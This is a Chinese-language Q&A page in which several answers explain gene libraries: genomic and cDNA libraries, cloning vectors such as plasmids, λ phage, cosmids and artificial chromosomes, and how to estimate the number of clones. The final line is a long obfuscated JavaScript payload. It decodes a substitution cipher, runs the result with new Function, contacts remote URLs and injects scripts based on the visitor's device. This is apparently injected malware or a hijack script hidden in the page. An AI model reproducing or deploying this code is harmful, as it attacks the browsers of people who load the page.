推荐回答(5个)
基因文库是指某一生物类型全部基因的集合。这种集合是以重组体形式出现。某生物DNA片段群体与载体分子重组,重组后转化宿主细胞,转化细胞在选择培养基上生长出的单个菌落(或噬菌斑)(或成活细胞)即为一个DNA片段的克隆。全部DNA片段克隆的集合体即为该生物的基因文库。 构建基因文库的意义不只是使生物的遗传信息以稳定的重组体形式贮存起来,更重要的是它是分离克隆目的基因的主要途径。对于复杂的染色体DNA分子来说,单个基因所占比例十分微小,要想从庞大的基因组中将其分离出来,一般需要先进行扩增,所以需要构建基因文库。在很多情况下目的基因的分离都离不开基因文库。此外基因文库也是复杂基因组作图的重要依据。基因文库构建包括以下基本程序: ① DNA提取及片段化,或是cDNA的合成。 ② 载体的选择及制备。 ③ DNA片段或cDNA与载体连接。 ④ 重组体转化宿主细胞。 ⑤ 转化细胞的筛选。当获得了含重组体的宿主细胞时,即完成了基因的克隆。基因的克隆只是分离基因的基础,基因克隆后还要对克隆的基因进行分离,即利用各种手段把目的基因从文库中分离出来。分离出目的基因还必须对其进行必要的检测与分析:如进行序列测定,体外转录及翻译、功能互补实验等。通过这些实验确定出基因的结构及功能。到这时才能算分离到了目的基因。所以,基因的克隆、克隆基因的分离、分离基因的鉴定是利用基因文库技术分离目的基因的主要内容。一、基因文库的类别 1. 基因组文库与cDNA文库 根据基因类型,基因文库可分为基因组文库及cDNA文库。基因组文库是指将某生物的全部基因组DNA切割成一定长度的DNA片段克隆到某种载体上而形成的集合。 cDNA文库是指某生物某一发育时期所转录的mRNA经反转录形成的cDNA片段与某种载体连接而形成的克隆的集合。 基因组文库根据DNA来源又有核基因组文库、叶绿体基因组文库及线粒体基因组文库。 基因组文库与cDNA文库的区别在于cDNA文库是有时效性的。文库构建时的信息供体是某一时空条件下的细胞总mRNA,它是在转录水平上反映该生物在某一特定发育时期,某一特定组织(或器官)在某种环境条件下的基因表达情况,并不能包括该生物有机体的全部基因。在某种意义上讲它可以表现基因组的功能信息。再者,cDNA文库只反映mRNA的分子结构。cDNA中不含有真核基因的间隔序列及调控区,确切说cDNA并不是真正意义上的基因。基因组文库构建时遗传信息供体是基因组DNA,因而无发育时期及组织器官特异性,在一个完全的基因组文库中包含着基因组DNA上的所有编码区及非编码区序列的克隆。生物有机体的每一个基因在文库中都有其克隆,该克隆的基因片段里包括着间隔序列,所以基因组文库可真实地显示基因组的全部结构信息。目前这两类基因文库在基因工程中都得到有效应用。选择哪一种,主要是根据实验目的。在分离RNA病毒基因,研究功能蛋白序列,分离特定发育阶段或特定组织特异表达的基因时应构建cDNA文库。在研究mRNA分子中不存在的序列及基因组作图时必须构建核基因组文库。 2. 克隆文库及表达文库从基因文库的功能上看可分为克隆文库及表达文库。克隆文库由克隆载体构建。载体中具复制子、多克隆位点及选择标记,可通过细菌培养使克隆片断大量增殖。表达文库是用表达载体构建。载体中除上述元件外,还具有控制基因表达的序列(如启动子、SD序列、ATG、终止子等),可在宿主细胞中表达出克隆片段的编码产物。表达载体又有融合蛋白表达载体及天然蛋白表达载体之分。 从克隆文库中分离目的克隆时主要利用核酸探针,可以是根据蛋白质序列合成的寡核苷酸探针,也可以是同种或同属生物的同源序列探针。从表达文库中分离目的克隆时,因克隆片段的表达产物蛋白质具有抗原性及生物活性,所以除核酸探针外,还可以利用免疫学探针及生物功能进行筛选。表达文库适合于那些不知道蛋白质的氨基酸序列、不能用核酸类探针筛选的目的基因的分离。 3.不同载体的基因文库 目前用于构建基因文库的载体主要有质粒、噬菌体、黏粒及人工染色体四大类。每类中又有许多不同的载体。不同的载体适于构建不同的基因文库。(1). 质粒文库 质粒是最早用于基因克隆的载体。现已有各种适用于不同工作的如克隆、表达、测序等专用商品质粒。但在构建基因文库上,由于质粒相对较小并只能容纳比自身更小的片段,因此它不能用于构建核基因组文库,通常只用来构建短序列的克隆文库。例如叶绿体DNA分子较小,可以用质粒构建叶绿体DNA文库。质粒载体可用于生物cDNA文库构建。但只适合于高丰度的mRNA。(2). 噬菌体文库 目前用于基因克隆的噬菌体载体及其衍生载体很多,如单链的M13噬菌体载体、λ噬菌体载体、P1噬菌体载体、噬菌粒(phagemid或phasmid)等。其中使用最多的是入噬菌体。 λ-DNA为双链结构,长49kb。线性分子两端各有一条12个核苷酸的黏性末端称cos位点。分子中有约15kb可去掉的非必要基因区,又称“填充区”, “填充区”两侧的序列含有其增殖所必需的全部基因,称为左、右臂。“填充区”可被外源DNA取代,构成重组体,这是它成为克隆载体的结构基础。由于噬菌体头部包装容量的限制,重组λ-DNA分子大小只能在39—52kb之间。(3). 黏粒文库 黏粒(cosmid)也称柯斯质粒,是人工构建的由λ噬菌体的COS序列、质粒的复制子序列及抗生素抗性基因序列组合而成的一类特殊的质粒载体。COS序列是DNA包装进噬菌体颗粒所必须的。复制子通常是使用ColEl或pMBl的复制起始位点。黏粒具有λ噬菌体的某些性质,在克隆了大小合适的外源DNA片段并且在体外被包装成噬菌体颗粒后,能高效转导对入噬菌体敏感的大肠杆菌宿主细胞。在宿主细胞内按λ噬菌体方式环化,但不能通过溶菌周期,无法形成子代噬菌体颗粒(因分子中不具入噬菌体全部必要基因)。它也具有质粒载体的主要性质,在宿主细胞内可以像其他质粒一样复制,并与松弛型质粒相同,适量的氯霉素可促进扩增。因具抗生素基因,可以通过抗生素抗性筛选重组子。黏粒载体在构建时也加上了设在插入失活基因内的多克隆位点。黏粒载体的分子较小(2.8—24kb),但克隆容量很高,对外源DNA长度的要求是30~45 kb,上限几乎是入噬菌体载体容量(23 kb)的2倍,所以黏粒载体在核基因组文库构建上具有相当的优势,可克隆包括3,和5’调控区在内的完整的植物基因。(4).人工染色体文库 人工染色体载体是利用真核生物染色体或原核生物基因组的功能元件构建的能克隆大于50kbDNA片段的人工载体。其中有的载体既可用于克隆,又能直接转化,是进行基因功能研究的良好载体。近年来陆续发展起来的人工染色体文库有YAC库、BAC库、BIBAC库、PAC库及TAC库。二、核基因组文库构建核基因组文库构建主要使用λ噬菌体置换型载体或黏粒载体。 1. 随机文库克隆数目随机文库指代表基因组各部分DNA的摩尔数相等。对于随机文库: N = ln(1-P) ; ln(1-x/y) N:克隆数目 P:设定的概率值(如:0.99,表示在片段随机分布时,从文库中找到任一序列的概率不低于0.99) x:插入片段平均大小(15~20kb) y:基因组的大小(以kb计) 如果插入片段平均大小为20kb,某基因组大小为4X108bp,P = 0.99时,根据上式N = 1X105。含1XlO5个克隆的基因文库相当覆盖了5倍的基因组,在片段随机分布时,从文库中找到任一序列的概率不低于0.99。随机片段可通过机械切割或限制酶消化产生。机械切割法可获得较均一的随机片段,但片段不能直接用于克隆,需经末端修饰、甲基化,连上接头后再用限制性内切酶消化产生黏性末端。用限制酶消化的方法虽然可直接产生黏性末端,但片段的随机性较差,所以采用后种方法时,文库的克隆数目应大于计算值。三、利用PCR技术构建c DNA文库 cDNA文库构建的起始信息物质是mRNA。因此构建cDNA文库首先要考虑的问题是mRNA的含量及质量。生物细胞中mRNA含量较低。通常cDNA文库构建需要ug级的mRNA。对于低丰度的mRNA(<0.5%),要通过富集或增大克隆数目来保证构建的文库中能够含有它们的克隆
首先理清基因文库的概念 他可不是基因库。“基因文库一个生物体的基因组DNA用限制性内切酶部分酶切后,将酶切片段插入到载体DNA分子中,所有这些插入了基因组DNA片段的载体分子的集合体,将包含这个生物体的整个基因组,也就是构成了这个生物体的基因文库。”基因文库方法不是建立基因文库就获取了目的基因,而是通过建立了基因文库再利用探针在基因文库的大海中搜寻一定包含的目的基因。在基因文库中,不同的 DNA片段都分别在不同的克隆中扩增了,只要有该基因的探针存在,则从许多克隆中筛选一个所需的克隆是一项比较简单的工作。此外基因文库中被克隆的 DNA都是基因组中各种随机的顺序片段,某些 DNA片段还包括基因外部的邻近的甚至互相跨叠的序列,所以基因文库特别有利于研究天然状态下基因的顺序组织。所以它是获取真核目的基因的一种有效手段,常用于生产实践。不知道这样解释楼主能明白么。我以后打算当生物老师呢,呵呵。
补充:基因文库主要目的是分离目的基因,只不过直接从真核细胞中分离很麻烦,但是基因文库方便分离(见上),所以他是需要已知序列的探针,哪怕只是目的基因序列的一部分的探针也可以,只要能识别目的基因就行。
书上的意思应该是目的基因的核苷酸序列未知(包括内含子、TATA框相应基因序列等等完整序列未知),但是探针、mrna是已知的(它们不完整,只能用来识别目的基因,不能替代目的基因,也不能直接用来合成,否则外显子、调控序列与目的基因会有不小的差异)
因为真正的未知序列想要制备分离就很麻烦了:一般情况是将你要做的东西,丢到ncbi里面进行搜索,然后收集序列,最好选择与你做的基因的来源亲缘关系近的物种,选择出来后在ncbi中进行blast进行比对,然后找到保守序列,设计简并引物,可以从基因组中扩增也可以从rna进行扩增,如果扩增的得到的不是全基因序列,可以用walking等方法扩增得到全基因序列。得到序列后你就可以进行转化表达,分析功能了
如果你的东西DNA水平的同源性比较低的话,就要多找很多序列进行分析,然后找到比较保守的block区域。可以用codehop在线网站进行block的寻找和简并引物的设计
基因文库简单说就是将细胞中的所有DNA用酶切成小片段,并将每一段利用载体转入宿主细胞中,这样经过培养后,每一个菌株都含有一小段DNA,再利用特殊方法将要检查的目的基因挑选出来菌株,提取DNA后进行测序,
之所以用基因文库是因为,直接测基因组DNA,太大了,测不准,而利用载体进入宿主细胞之后,DNA片段可以随宿主细胞一起复制,可以得到很多相同的拷贝,方便检查
"建立基因文库怎么就能知道目的基因的碱基序列了"这样的理解是错误的。基因文库,就相当于一个图书馆;目的基因,相当于一本你要找的书。但这个图书馆的管理不怎么样,所以想要马上找到目的基因是相当困难的。必须用基因探针等方法,经过复杂细微的过程,才可以得到目的基因。
基因文库包括基因组文库和部分基因文库。将含有某种生物不同基因的许多DNA片段,导入受体菌的群体中储存,各个受体菌分别含有这种生物的不同的基因,称为基因文库。
一个基因文库中应包含的克隆数目与该生物的基因组的大小和被克隆DNA片段的长度有关。原核生物的基因组较小,需要的克隆数也较少;真核生物的基因组较大,克隆数需相应增加,才能包含所有的基因。此外,每一载体DNA中所允许插入的外源DNA片段的长度较大,则所需总克隆数越少;反之则所需数越多。如果一个基因文库的总克隆数较少,则从中筛选基因虽然比较容易,但给以后的分析造成困难,因为片段的长度增加了。如果要使每一克隆中的DNA片段缩短,就须增加克隆数,所以在建立基因文库前应根据研究目的来确定 DNA片段的长度和克隆的数目。L.克拉克和J.卡邦在1975年提出一个统计学的公式来计算某一基因文库中所应包含的克隆数目。在建立基因文库时,任何一个DNA片段都是在随机的基础上被克隆的。在公式中,P 是从建成的基因文库中可能选出某一基因的概率,这一数字由工作者根据需要选定。基因文库中每一克隆所含外源DNA片段的平均长度,可根据该生物基因组大小和所用载体可容纳的外源 DNA片段的长度决定。G是该生物基因组的大小,基因组大小和DNA片段长度的单位可用道尔顿或碱基对表示。N 是这一基因文库所应包含的克隆数目。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();